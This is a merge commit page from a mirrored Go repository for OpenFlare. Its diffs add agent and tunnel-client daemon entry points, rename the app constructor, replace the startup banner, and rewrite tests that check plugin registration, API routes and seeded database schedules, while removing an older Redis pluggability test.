mirror of
https://github.com/Rain-kl/OpenFlare.git
synced 2026-10-03 15:06:36 +08:00
Merge remote-tracking branch 'origin/main'
# Conflicts: # AGENTS.md # backend/docs/docs.go # backend/docs/swagger.json # backend/docs/swagger.yaml # frontend/components/providers/title-updater.tsx # frontend/messages/fragments/admin.en.json # frontend/messages/fragments/admin.zh-CN.json # frontend/proxy.ts
This commit is contained in:
ryan
@@ -0,0 +1,41 @@
|
||||
// Copyright 2026 Arctel.net
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
// Command agent runs the OpenFlare edge agent daemon.
|
||||
package main
|
||||
|
||||
import (
|
||||
"flag"
|
||||
"log/slog"
|
||||
"os"
|
||||
"time"
|
||||
|
||||
"Wavelet/core"
|
||||
agentplugin "Wavelet/openflare/plugins/agent"
|
||||
"Wavelet/openflare/plugins/agent/logging"
|
||||
)
|
||||
|
||||
// shutdownTimeout 为 openresty 收敛与在途配置同步预留的退出窗口。
|
||||
const shutdownTimeout = 60 * time.Second
|
||||
|
||||
func main() {
|
||||
logging.Setup()
|
||||
|
||||
configPath := flag.String("config", "./agent.json", "agent config path")
|
||||
flag.Parse()
|
||||
|
||||
app := core.NewApp(
|
||||
core.WithProfile(core.Profile(agentplugin.DriverTypeAgent)),
|
||||
core.WithShutdownTimeout(shutdownTimeout),
|
||||
)
|
||||
app.Use(agentplugin.New(*configPath))
|
||||
|
||||
if err := app.Prepare(); err != nil {
|
||||
slog.Error("agent startup failed", "error", err)
|
||||
os.Exit(1)
|
||||
}
|
||||
if err := app.Run(); err != nil {
|
||||
slog.Error("agent process exited with error", "error", err)
|
||||
os.Exit(1)
|
||||
}
|
||||
}
|
||||
+13
-5
@@ -6,6 +6,8 @@ package cmd
|
||||
import (
|
||||
"Wavelet/core"
|
||||
"Wavelet/core/contracts"
|
||||
ofserver "Wavelet/openflare/plugins/server"
|
||||
"Wavelet/openflare/plugins/server/migrate"
|
||||
"Wavelet/plugins/domain/admin"
|
||||
"Wavelet/plugins/domain/auth"
|
||||
"Wavelet/plugins/domain/cap"
|
||||
@@ -49,7 +51,7 @@ const (
|
||||
|
||||
// runProfileApp prepares and runs the application for a given profile.
|
||||
func runProfileApp(profile core.Profile, mode string, listensForHTTP bool) {
|
||||
app := newWaveletApp(profile)
|
||||
app := newOpenFlareApp(profile)
|
||||
if err := app.Prepare(); err != nil {
|
||||
log.Fatalf("[%s] prepare failed: %v\n", mode, err)
|
||||
}
|
||||
@@ -67,8 +69,8 @@ func runProfileApp(profile core.Profile, mode string, listensForHTTP bool) {
|
||||
}
|
||||
}
|
||||
|
||||
// newWaveletApp creates a core.App wired with Wavelet platform infrastructure, domain plugins, and profile drivers.
|
||||
func newWaveletApp(profile core.Profile, opts ...core.AppOption) *core.App {
|
||||
// newOpenFlareApp creates a core.App wired with Wavelet platform plugins plus the OpenFlare server plugin.
|
||||
func newOpenFlareApp(profile core.Profile, opts ...core.AppOption) *core.App {
|
||||
src, err := config.NewSource()
|
||||
if err != nil {
|
||||
log.Fatalf("[App] load config source failed: %v\n", err)
|
||||
@@ -78,6 +80,7 @@ func newWaveletApp(profile core.Profile, opts ...core.AppOption) *core.App {
|
||||
core.WithProfile(profile),
|
||||
core.WithConfigSource(src),
|
||||
core.WithShutdownTimeout(defaultShutdownTimeout),
|
||||
core.WithMigrationBaseline(migrate.Legacy),
|
||||
}
|
||||
appOpts = append(appOpts, opts...)
|
||||
|
||||
@@ -112,10 +115,15 @@ func newWaveletApp(profile core.Profile, opts ...core.AppOption) *core.App {
|
||||
system.New(),
|
||||
)
|
||||
|
||||
// 4. Bind Goose migration engine
|
||||
// 4. OpenFlare business routes (after domain plugins, before the HTTP driver)
|
||||
app.Use(
|
||||
ofserver.New(),
|
||||
)
|
||||
|
||||
// 5. Bind Goose migration engine
|
||||
app.SetMigrationEngine(&gooseEngine{})
|
||||
|
||||
// 5. Mount HTTP runtime driver
|
||||
// 6. Mount HTTP runtime driver
|
||||
app.Use(
|
||||
driver_http.New(),
|
||||
)
|
||||
|
||||
+121
-139
@@ -4,148 +4,130 @@
|
||||
package cmd
|
||||
|
||||
import (
|
||||
"Wavelet/core"
|
||||
"context"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
|
||||
"github.com/alicebob/miniredis/v2"
|
||||
"github.com/stretchr/testify/assert"
|
||||
"github.com/stretchr/testify/require"
|
||||
"Wavelet/core"
|
||||
)
|
||||
|
||||
func TestNewWaveletAppProfiles(t *testing.T) {
|
||||
profiles := []core.Profile{
|
||||
core.ProfileAPI,
|
||||
core.ProfileWorker,
|
||||
core.ProfileSchedule,
|
||||
core.ProfileAll,
|
||||
}
|
||||
|
||||
for _, prof := range profiles {
|
||||
t.Run(string(prof), func(t *testing.T) {
|
||||
app := newWaveletApp(prof, core.WithConfigValues(map[string]any{
|
||||
"app": map[string]any{
|
||||
"addr": "127.0.0.1:0",
|
||||
},
|
||||
"redis": map[string]any{
|
||||
"enabled": false,
|
||||
},
|
||||
}))
|
||||
require.NotNil(t, app)
|
||||
assert.Equal(t, prof, app.Profile())
|
||||
|
||||
// 3 infra + 2 cache + 4 worker/cron + 8 domain + 1 http driver = 18 plugins
|
||||
plugins := app.Plugins()
|
||||
assert.Len(t, plugins, 18)
|
||||
|
||||
require.NoError(t, app.Reconcile())
|
||||
|
||||
// Verify standard infra plugins
|
||||
_, ok := app.Plugin("database")
|
||||
assert.True(t, ok, "database plugin missing")
|
||||
|
||||
_, ok = app.Plugin("logger")
|
||||
assert.True(t, ok, "logger plugin missing")
|
||||
|
||||
_, ok = app.Plugin("storage")
|
||||
assert.True(t, ok, "storage plugin missing")
|
||||
|
||||
// In zero-Redis mode (default in test)
|
||||
f, ok := app.Fiber("cache_memory")
|
||||
assert.True(t, ok, "cache_memory fiber missing")
|
||||
assert.Equal(t, core.FiberActive, f.State())
|
||||
|
||||
f, ok = app.Fiber("cache")
|
||||
assert.True(t, ok, "cache fiber missing")
|
||||
assert.Equal(t, core.FiberSkipped, f.State())
|
||||
|
||||
f, ok = app.Fiber("driver_inproc_worker")
|
||||
assert.True(t, ok, "inproc worker driver fiber missing")
|
||||
assert.Equal(t, core.FiberActive, f.State())
|
||||
|
||||
f, ok = app.Fiber("driver_asynq_worker")
|
||||
assert.True(t, ok, "asynq worker driver fiber missing")
|
||||
assert.Equal(t, core.FiberSkipped, f.State())
|
||||
|
||||
f, ok = app.Fiber("driver_inproc_cron")
|
||||
assert.True(t, ok, "inproc scheduler driver fiber missing")
|
||||
assert.Equal(t, core.FiberActive, f.State())
|
||||
|
||||
f, ok = app.Fiber("driver_asynq_cron")
|
||||
assert.True(t, ok, "asynq scheduler driver fiber missing")
|
||||
assert.Equal(t, core.FiberSkipped, f.State())
|
||||
|
||||
// Verify domain plugins
|
||||
_, ok = app.Plugin("auth")
|
||||
assert.True(t, ok, "auth plugin missing")
|
||||
|
||||
_, ok = app.Plugin("user")
|
||||
assert.True(t, ok, "user plugin missing")
|
||||
|
||||
_, ok = app.Plugin("message_gateway")
|
||||
assert.True(t, ok, "message_gateway plugin missing")
|
||||
|
||||
_, ok = app.Plugin("risk_control")
|
||||
assert.True(t, ok, "risk_control plugin missing")
|
||||
|
||||
_, ok = app.Plugin("admin")
|
||||
assert.True(t, ok, "admin plugin missing")
|
||||
|
||||
_, ok = app.Plugin("upload")
|
||||
assert.True(t, ok, "upload plugin missing")
|
||||
|
||||
_, ok = app.Plugin("cap")
|
||||
assert.True(t, ok, "cap plugin missing")
|
||||
|
||||
_, ok = app.Plugin("system")
|
||||
assert.True(t, ok, "system plugin missing")
|
||||
|
||||
// Verify driver plugins
|
||||
_, ok = app.Plugin("driver_http")
|
||||
assert.True(t, ok, "http driver missing")
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestNewWaveletAppWithRedisEnabled(t *testing.T) {
|
||||
mr, err := miniredis.Run()
|
||||
require.NoError(t, err)
|
||||
defer mr.Close()
|
||||
|
||||
app := newWaveletApp(core.ProfileAll, core.WithConfigValues(map[string]any{
|
||||
"redis": map[string]any{
|
||||
"enabled": true,
|
||||
"addrs": []string{mr.Addr()},
|
||||
func testSource(t *testing.T) core.ConfigSource {
|
||||
t.Helper()
|
||||
return core.NewMapSource(map[string]any{
|
||||
"app": map[string]any{
|
||||
"addr": "127.0.0.1:0",
|
||||
"env": "testing",
|
||||
},
|
||||
}))
|
||||
require.NotNil(t, app)
|
||||
defer func() {
|
||||
_ = app.Stop(context.Background())
|
||||
_ = app.Context().Dispose()
|
||||
}()
|
||||
require.NoError(t, app.Reconcile())
|
||||
|
||||
f, ok := app.Fiber("cache")
|
||||
assert.True(t, ok, "cache plugin missing in Redis mode")
|
||||
assert.Equal(t, core.FiberActive, f.State())
|
||||
|
||||
f, ok = app.Fiber("driver_asynq_worker")
|
||||
assert.True(t, ok, "asynq worker driver missing in Redis mode")
|
||||
assert.Equal(t, core.FiberActive, f.State())
|
||||
|
||||
f, ok = app.Fiber("driver_asynq_cron")
|
||||
assert.True(t, ok, "asynq scheduler driver missing in Redis mode")
|
||||
assert.Equal(t, core.FiberActive, f.State())
|
||||
|
||||
f, ok = app.Fiber("cache_memory")
|
||||
assert.True(t, ok)
|
||||
assert.Equal(t, core.FiberSkipped, f.State())
|
||||
|
||||
f, ok = app.Fiber("driver_inproc_worker")
|
||||
assert.True(t, ok)
|
||||
assert.Equal(t, core.FiberSkipped, f.State())
|
||||
|
||||
f, ok = app.Fiber("driver_inproc_cron")
|
||||
assert.True(t, ok)
|
||||
assert.Equal(t, core.FiberSkipped, f.State())
|
||||
"redis": map[string]any{
|
||||
"enabled": false,
|
||||
},
|
||||
"database": map[string]any{
|
||||
"enabled": false,
|
||||
"sqlite_path": filepath.Join(t.TempDir(), "openflare-cmd.db"),
|
||||
},
|
||||
})
|
||||
}
|
||||
|
||||
func TestNewOpenFlareAppRegistersServerAndWaveletUser(t *testing.T) {
|
||||
app := newOpenFlareApp(core.ProfileAPI, core.WithConfigSource(testSource(t)))
|
||||
if err := app.Prepare(); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
names := map[string]bool{}
|
||||
for _, p := range app.Plugins() {
|
||||
names[p.Name()] = true
|
||||
}
|
||||
for _, n := range []string{"user", "auth", "cap", "admin", "server"} {
|
||||
if !names[n] {
|
||||
t.Errorf("missing plugin %s", n)
|
||||
}
|
||||
}
|
||||
|
||||
if err := app.Reconcile(); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
got := map[string]bool{}
|
||||
for _, rd := range app.Context().Router().Routes() {
|
||||
got[rd.Method+" "+rd.Path] = true
|
||||
}
|
||||
for _, want := range []string{
|
||||
"GET /api/healthz",
|
||||
"GET /api/v1/user/self",
|
||||
"GET /api/v1/d/nodes",
|
||||
"POST /api/v1/cap/challenge",
|
||||
} {
|
||||
if !got[want] {
|
||||
t.Errorf("missing route %s", want)
|
||||
}
|
||||
}
|
||||
for _, drop := range []string{
|
||||
"GET /api/health",
|
||||
"GET /healthz",
|
||||
"POST /api/cap/challenge",
|
||||
} {
|
||||
if got[drop] {
|
||||
t.Errorf("removed route still registered: %s", drop)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestFreshInstallSeedsOpenFlareDefaults(t *testing.T) {
|
||||
dbPath := filepath.Join(t.TempDir(), "fresh.db")
|
||||
app := cordisPrepare(t, cordisSQLiteSource(t, dbPath))
|
||||
t.Cleanup(func() { _ = app.Context().Dispose() })
|
||||
|
||||
db := openInspectDB(t, dbPath, "")
|
||||
defer func() { _ = db.Close() }()
|
||||
|
||||
var tables int
|
||||
if err := db.QueryRow(`SELECT COUNT(*) FROM sqlite_master WHERE type = 'table' AND name LIKE 'of_%'`).Scan(&tables); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if tables == 0 {
|
||||
t.Fatal("fresh install created no of_* tables")
|
||||
}
|
||||
|
||||
rows, err := db.Query(`SELECT task_type FROM w_schedules WHERE task_type LIKE 'of_%' ORDER BY 1`)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer func() { _ = rows.Close() }()
|
||||
var got []string
|
||||
for rows.Next() {
|
||||
var taskType string
|
||||
if err := rows.Scan(&taskType); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
got = append(got, taskType)
|
||||
}
|
||||
want := []string{
|
||||
"of_pages_source_scan",
|
||||
"of_ssl_renew",
|
||||
"of_uptime_kuma_sync",
|
||||
"of_waf_ip_group_sync",
|
||||
}
|
||||
if len(got) != len(want) {
|
||||
t.Fatalf("of_* schedules = %v, want %v", got, want)
|
||||
}
|
||||
for i := range want {
|
||||
if got[i] != want[i] {
|
||||
t.Fatalf("of_* schedules = %v, want %v", got, want)
|
||||
}
|
||||
}
|
||||
|
||||
var cleanup int
|
||||
if err := db.QueryRow(`SELECT COUNT(*) FROM w_schedules WHERE task_type = 'of_database_auto_cleanup'`).Scan(&cleanup); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if cleanup != 0 {
|
||||
t.Fatal("must not seed of_database_auto_cleanup")
|
||||
}
|
||||
|
||||
var geoip string
|
||||
if err := db.QueryRow(`SELECT value FROM w_system_configs WHERE key = 'geoip_provider'`).Scan(&geoip); err != nil {
|
||||
t.Fatalf("geoip_provider: %v", err)
|
||||
}
|
||||
if geoip != "ipinfo" {
|
||||
t.Fatalf("geoip_provider = %q, want ipinfo", geoip)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -33,12 +33,13 @@ func formatStartupBanner(state startupState) string {
|
||||
|
||||
lines := []string{
|
||||
"",
|
||||
"__ __ _ _ ",
|
||||
"\\ \\ / /_ ___ _____ | | ___| |_ ",
|
||||
" \\ \\ /\\ / / _` \\ \\ / / _ \\ | |/ _ \\ __|",
|
||||
" \\ V V / (_| |\\ V / __/ | | __/ |_ ",
|
||||
" \\_/\\_/ \\__,_| \\_/ \\___|_|\\___|\\__|",
|
||||
fmt.Sprintf(" Wavelet %s", buildinfo.Version),
|
||||
" ____ ________ ",
|
||||
" / __ \\____ ___ ____ / ____/ /___ _________ ",
|
||||
" / / / / __ \\/ _ \\/ __ \\/ /_ / / __ `/ ___/ _ \\",
|
||||
"/ /_/ / /_/ / __/ / / / __/ / / /_/ / / / __/",
|
||||
"\\____/ .___/\\___/_/ /_/_/ /_/\\__,_/_/ \\___/ ",
|
||||
" /_/ ",
|
||||
fmt.Sprintf(" OpenFlare %s", buildinfo.Version),
|
||||
"",
|
||||
fmt.Sprintf(" Environment: %s", env),
|
||||
fmt.Sprintf(" Runtime: %s/%s (%s)", runtime.GOOS, runtime.GOARCH, runtime.Version()),
|
||||
|
||||
@@ -28,7 +28,7 @@ func TestFormatStartupBanner(t *testing.T) {
|
||||
})
|
||||
|
||||
for _, want := range []string{
|
||||
"Wavelet v3.2.1",
|
||||
"OpenFlare v3.2.1",
|
||||
"Environment: production",
|
||||
"Build time: 2026-07-13T08:00:00Z",
|
||||
"Listening: http://:3000",
|
||||
|
||||
@@ -0,0 +1,41 @@
|
||||
// Copyright 2026 Arctel.net
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
// Command flared runs the OpenFlare tunnel client daemon.
|
||||
package main
|
||||
|
||||
import (
|
||||
"flag"
|
||||
"log/slog"
|
||||
"os"
|
||||
"time"
|
||||
|
||||
"Wavelet/core"
|
||||
flaredplugin "Wavelet/openflare/plugins/flared"
|
||||
edgelogging "Wavelet/openflare/share/edge/logging"
|
||||
)
|
||||
|
||||
// shutdownTimeout 为 frpc 子进程收敛预留的退出窗口。
|
||||
const shutdownTimeout = 60 * time.Second
|
||||
|
||||
func main() {
|
||||
edgelogging.Setup(edgelogging.Options{})
|
||||
|
||||
configPath := flag.String("config", "./flared.json", "flared config path")
|
||||
flag.Parse()
|
||||
|
||||
app := core.NewApp(
|
||||
core.WithProfile(core.Profile(flaredplugin.DriverTypeFlared)),
|
||||
core.WithShutdownTimeout(shutdownTimeout),
|
||||
)
|
||||
app.Use(flaredplugin.New(*configPath))
|
||||
|
||||
if err := app.Prepare(); err != nil {
|
||||
slog.Error("flared startup failed", "error", err)
|
||||
os.Exit(1)
|
||||
}
|
||||
if err := app.Run(); err != nil {
|
||||
slog.Error("flared process exited with error", "error", err)
|
||||
os.Exit(1)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,108 @@
|
||||
// Copyright 2026 Arctel.net
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
package cmd
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"Wavelet/core"
|
||||
)
|
||||
|
||||
// baselineRoutesFile 是改造前遗留注册路径导出的 (方法 路径) 全集。
|
||||
const baselineRoutesFile = "docs/superpowers/specs/baseline/routes-engine.txt"
|
||||
|
||||
func TestPluginRoutesContainGoldenBaseline(t *testing.T) {
|
||||
app := newOpenFlareApp(core.ProfileAPI, core.WithConfigSource(testSource(t)))
|
||||
if err := app.Prepare(); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := app.Reconcile(); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
got := routeSet(app.Context())
|
||||
want := loadBaseline(t)
|
||||
for _, drop := range []string{
|
||||
"GET /api/health",
|
||||
"GET /healthz",
|
||||
"POST /api/cap/challenge",
|
||||
"POST /api/cap/redeem",
|
||||
} {
|
||||
delete(want, drop)
|
||||
}
|
||||
for k := range want {
|
||||
if !got[k] {
|
||||
t.Errorf("missing golden route %s", k)
|
||||
}
|
||||
}
|
||||
for _, must := range []string{
|
||||
"GET /api/healthz",
|
||||
"POST /api/v1/cap/challenge",
|
||||
"POST /api/v1/cap/redeem",
|
||||
} {
|
||||
if !got[must] {
|
||||
t.Errorf("missing required route %s", must)
|
||||
}
|
||||
}
|
||||
for _, drop := range []string{
|
||||
"GET /api/health",
|
||||
"GET /healthz",
|
||||
"POST /api/cap/challenge",
|
||||
"POST /api/cap/redeem",
|
||||
} {
|
||||
if got[drop] {
|
||||
t.Errorf("removed route still registered: %s", drop)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func routeSet(ctx *core.Context) map[string]bool {
|
||||
set := make(map[string]bool)
|
||||
for _, rd := range ctx.Router().Routes() {
|
||||
set[rd.Method+" "+rd.Path] = true
|
||||
}
|
||||
return set
|
||||
}
|
||||
|
||||
func loadBaseline(t *testing.T) map[string]bool {
|
||||
t.Helper()
|
||||
path := locateFile(t, baselineRoutesFile)
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
t.Fatalf("read baseline %s: %v", path, err)
|
||||
}
|
||||
set := make(map[string]bool)
|
||||
for _, line := range strings.Split(string(data), "\n") {
|
||||
line = strings.TrimSpace(line)
|
||||
if line != "" {
|
||||
set[line] = true
|
||||
}
|
||||
}
|
||||
if len(set) == 0 {
|
||||
t.Fatalf("baseline %s is empty", path)
|
||||
}
|
||||
return set
|
||||
}
|
||||
|
||||
func locateFile(t *testing.T, rel string) string {
|
||||
t.Helper()
|
||||
_, thisFile, _, ok := runtime.Caller(0)
|
||||
if !ok {
|
||||
t.Fatal("runtime.Caller failed")
|
||||
}
|
||||
dir := filepath.Dir(thisFile)
|
||||
for range 8 {
|
||||
candidate := filepath.Join(dir, rel)
|
||||
if _, err := os.Stat(candidate); err == nil {
|
||||
return candidate
|
||||
}
|
||||
dir = filepath.Join(dir, "..")
|
||||
}
|
||||
t.Fatalf("%s not found above %s", rel, filepath.Dir(thisFile))
|
||||
return ""
|
||||
}
|
||||
@@ -1,261 +0,0 @@
|
||||
// Copyright 2026 Arctel.net
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
package cmd
|
||||
|
||||
import (
|
||||
"Wavelet/core"
|
||||
"Wavelet/core/contracts"
|
||||
"Wavelet/core/extpoints"
|
||||
"Wavelet/pkg/idgen"
|
||||
"context"
|
||||
"fmt"
|
||||
"sync/atomic"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/alicebob/miniredis/v2"
|
||||
"github.com/stretchr/testify/assert"
|
||||
"github.com/stretchr/testify/require"
|
||||
)
|
||||
|
||||
func TestRedisPluggability_Simulation(t *testing.T) {
|
||||
_ = idgen.Init(1)
|
||||
|
||||
// ══════════════════════════════════════════════════════════════════════════
|
||||
// 场景 1: 拔出 Redis (Zero-Redis Monolith 模式)
|
||||
// ══════════════════════════════════════════════════════════════════════════
|
||||
t.Run("Scenario_Unplugged_ZeroRedis_Mode", func(t *testing.T) {
|
||||
app := newWaveletApp(core.ProfileAll, core.WithConfigValues(map[string]any{
|
||||
"app": map[string]any{
|
||||
"addr": "127.0.0.1:0",
|
||||
},
|
||||
"redis": map[string]any{
|
||||
"enabled": false,
|
||||
},
|
||||
}))
|
||||
require.NotNil(t, app)
|
||||
require.NoError(t, app.Reconcile())
|
||||
|
||||
// 1. 验证插件挂载形态
|
||||
f, ok := app.Fiber("cache_memory")
|
||||
assert.True(t, ok, "cache_memory 必须挂载")
|
||||
assert.Equal(t, core.FiberActive, f.State())
|
||||
f, ok = app.Fiber("driver_inproc_worker")
|
||||
assert.True(t, ok, "driver_inproc_worker 必须挂载")
|
||||
assert.Equal(t, core.FiberActive, f.State())
|
||||
f, ok = app.Fiber("driver_inproc_cron")
|
||||
assert.True(t, ok, "driver_inproc_cron 必须挂载")
|
||||
assert.Equal(t, core.FiberActive, f.State())
|
||||
|
||||
f, ok = app.Fiber("cache")
|
||||
assert.True(t, ok)
|
||||
assert.Equal(t, core.FiberSkipped, f.State(), "分布式 cache 不得挂载")
|
||||
f, ok = app.Fiber("driver_asynq_worker")
|
||||
assert.True(t, ok)
|
||||
assert.Equal(t, core.FiberSkipped, f.State(), "asynq_worker 不得挂载")
|
||||
f, ok = app.Fiber("driver_asynq_cron")
|
||||
assert.True(t, ok)
|
||||
assert.Equal(t, core.FiberSkipped, f.State(), "asynq_cron 不得挂载")
|
||||
|
||||
// 2. 注册测试任务与 Cron 定时
|
||||
var taskExecuted atomic.Int32
|
||||
var cronExecuted atomic.Int32
|
||||
|
||||
app.Context().Tasks().Register("test:inproc_task", func(ctx context.Context, payload []byte) error {
|
||||
if string(payload) == "payload_unplugged" {
|
||||
taskExecuted.Add(1)
|
||||
}
|
||||
return nil
|
||||
}, extpoints.WithTaskTimeout(3*time.Second))
|
||||
|
||||
app.Context().Schedules().RegisterCron("* * * * * *", "test:inproc_cron", []byte("cron_ping"))
|
||||
app.Context().Tasks().Register("test:inproc_cron", func(ctx context.Context, payload []byte) error {
|
||||
if string(payload) == "cron_ping" {
|
||||
cronExecuted.Add(1)
|
||||
}
|
||||
return nil
|
||||
})
|
||||
|
||||
// 3. 启动应用
|
||||
bootCtx, bootCancel := context.WithTimeout(context.Background(), 5*time.Second)
|
||||
defer bootCancel()
|
||||
require.NoError(t, app.Start(bootCtx))
|
||||
|
||||
// 4. 验证 CacheService 操作
|
||||
cacheSvc, err := core.Inject[contracts.CacheService](app.Context())
|
||||
require.NoError(t, err)
|
||||
require.NotNil(t, cacheSvc)
|
||||
|
||||
reqCtx := context.Background()
|
||||
require.NoError(t, cacheSvc.Set(reqCtx, "unplugged_key", "value_123", time.Minute))
|
||||
var val string
|
||||
require.NoError(t, cacheSvc.Get(reqCtx, "unplugged_key", &val))
|
||||
assert.Equal(t, "value_123", val)
|
||||
|
||||
// 5. 验证异步 Worker 任务分发与执行
|
||||
taskSvc, err := core.Inject[contracts.TaskService](app.Context())
|
||||
require.NoError(t, err)
|
||||
require.NotNil(t, taskSvc)
|
||||
|
||||
taskID, err := taskSvc.Dispatch(reqCtx, "test:inproc_task", []byte("payload_unplugged"), "unit_test")
|
||||
require.NoError(t, err)
|
||||
assert.NotEmpty(t, taskID)
|
||||
|
||||
require.Eventually(t, func() bool {
|
||||
return taskExecuted.Load() >= 1
|
||||
}, 3*time.Second, 50*time.Millisecond, "内存 Worker 应在进程内顺利执行任务")
|
||||
|
||||
// 6. 验证 Cron 定时触发
|
||||
require.Eventually(t, func() bool {
|
||||
return cronExecuted.Load() >= 1
|
||||
}, 3*time.Second, 100*time.Millisecond, "内存 Cron 驱动应成功触发定时任务")
|
||||
|
||||
// 7. 优雅关闭
|
||||
stopCtx, stopCancel := context.WithTimeout(context.Background(), 5*time.Second)
|
||||
defer stopCancel()
|
||||
require.NoError(t, app.Stop(stopCtx))
|
||||
})
|
||||
|
||||
// ══════════════════════════════════════════════════════════════════════════
|
||||
// 场景 2: 插入 Redis (Distributed Cluster 模式)
|
||||
// ══════════════════════════════════════════════════════════════════════════
|
||||
t.Run("Scenario_Plugged_Redis_Mode", func(t *testing.T) {
|
||||
mr, err := miniredis.Run()
|
||||
require.NoError(t, err)
|
||||
defer mr.Close()
|
||||
|
||||
app := newWaveletApp(core.ProfileAll, core.WithConfigValues(map[string]any{
|
||||
"app": map[string]any{
|
||||
"addr": "127.0.0.1:0",
|
||||
},
|
||||
"redis": map[string]any{
|
||||
"enabled": true,
|
||||
"addrs": []string{mr.Addr()},
|
||||
},
|
||||
}))
|
||||
require.NotNil(t, app)
|
||||
require.NoError(t, app.Reconcile())
|
||||
|
||||
// 1. 验证插件挂载形态
|
||||
f, ok := app.Fiber("cache")
|
||||
assert.True(t, ok, "分布式 cache 必须挂载")
|
||||
assert.Equal(t, core.FiberActive, f.State())
|
||||
f, ok = app.Fiber("driver_asynq_worker")
|
||||
assert.True(t, ok, "driver_asynq_worker 必须挂载")
|
||||
assert.Equal(t, core.FiberActive, f.State())
|
||||
f, ok = app.Fiber("driver_asynq_cron")
|
||||
assert.True(t, ok, "driver_asynq_cron 必须挂载")
|
||||
assert.Equal(t, core.FiberActive, f.State())
|
||||
|
||||
f, ok = app.Fiber("cache_memory")
|
||||
assert.True(t, ok)
|
||||
assert.Equal(t, core.FiberSkipped, f.State(), "纯内存 cache 不得挂载")
|
||||
f, ok = app.Fiber("driver_inproc_worker")
|
||||
assert.True(t, ok)
|
||||
assert.Equal(t, core.FiberSkipped, f.State(), "inproc_worker 不得挂载")
|
||||
f, ok = app.Fiber("driver_inproc_cron")
|
||||
assert.True(t, ok)
|
||||
assert.Equal(t, core.FiberSkipped, f.State(), "inproc_cron 不得挂载")
|
||||
|
||||
// 2. 注册测试任务
|
||||
var asynqTaskExecuted atomic.Int32
|
||||
app.Context().Tasks().Register("test:asynq_task", func(ctx context.Context, payload []byte) error {
|
||||
if string(payload) == "payload_plugged" {
|
||||
asynqTaskExecuted.Add(1)
|
||||
}
|
||||
return nil
|
||||
}, extpoints.WithTaskTimeout(3*time.Second))
|
||||
|
||||
// 3. 启动应用
|
||||
bootCtx, bootCancel := context.WithTimeout(context.Background(), 5*time.Second)
|
||||
defer bootCancel()
|
||||
require.NoError(t, app.Start(bootCtx))
|
||||
|
||||
// 4. 验证 CacheService 操作 (L1 RAM + L2 Redis)
|
||||
cacheSvc, err := core.Inject[contracts.CacheService](app.Context())
|
||||
require.NoError(t, err)
|
||||
require.NotNil(t, cacheSvc)
|
||||
|
||||
reqCtx := context.Background()
|
||||
testKey := fmt.Sprintf("plugged_key_%d", time.Now().UnixNano())
|
||||
require.NoError(t, cacheSvc.Set(reqCtx, testKey, "value_redis_cluster", time.Minute))
|
||||
|
||||
var val string
|
||||
require.NoError(t, cacheSvc.Get(reqCtx, testKey, &val))
|
||||
assert.Equal(t, "value_redis_cluster", val)
|
||||
|
||||
// 验证失效广播与删除
|
||||
require.NoError(t, cacheSvc.Delete(reqCtx, testKey))
|
||||
var valAfterDelete string
|
||||
err = cacheSvc.Get(reqCtx, testKey, &valAfterDelete)
|
||||
assert.ErrorIs(t, err, contracts.ErrCacheMiss)
|
||||
|
||||
// 5. 验证 Asynq Worker 任务分发与消费
|
||||
taskSvc, err := core.Inject[contracts.TaskService](app.Context())
|
||||
require.NoError(t, err)
|
||||
require.NotNil(t, taskSvc)
|
||||
|
||||
taskID, err := taskSvc.Dispatch(reqCtx, "test:asynq_task", []byte("payload_plugged"), "default")
|
||||
require.NoError(t, err)
|
||||
assert.NotEmpty(t, taskID)
|
||||
|
||||
require.Eventually(t, func() bool {
|
||||
return asynqTaskExecuted.Load() >= 1
|
||||
}, 10*time.Second, 100*time.Millisecond, "Asynq Worker 应从 Redis 队列中成功消费并执行任务")
|
||||
|
||||
// 6. 优雅关闭
|
||||
stopCtx, stopCancel := context.WithTimeout(context.Background(), 5*time.Second)
|
||||
defer stopCancel()
|
||||
require.NoError(t, app.Stop(stopCtx))
|
||||
_ = app.Context().Dispose()
|
||||
})
|
||||
|
||||
// ══════════════════════════════════════════════════════════════════════════
|
||||
// 场景 3: 往复插拔连续切换 (拔出 → 插入 → 再拔出，验证时空可组合性与零残留)
|
||||
// ══════════════════════════════════════════════════════════════════════════
|
||||
t.Run("Scenario_Dynamic_Plug_Unplug_Sequence", func(t *testing.T) {
|
||||
mr, err := miniredis.Run()
|
||||
require.NoError(t, err)
|
||||
defer mr.Close()
|
||||
|
||||
for i := 1; i <= 2; i++ {
|
||||
// 1. 拔出 Redis 运行
|
||||
appUnplugged := newWaveletApp(core.ProfileAll, core.WithConfigValues(map[string]any{
|
||||
"app": map[string]any{
|
||||
"addr": "127.0.0.1:0",
|
||||
},
|
||||
"redis": map[string]any{
|
||||
"enabled": false,
|
||||
},
|
||||
}))
|
||||
require.NoError(t, appUnplugged.Start(context.Background()))
|
||||
|
||||
cacheSvc1, err := core.Inject[contracts.CacheService](appUnplugged.Context())
|
||||
require.NoError(t, err)
|
||||
require.NoError(t, cacheSvc1.Set(context.Background(), fmt.Sprintf("seq_key_%d", i), "seq_val_unplugged", time.Minute))
|
||||
|
||||
require.NoError(t, appUnplugged.Stop(context.Background()))
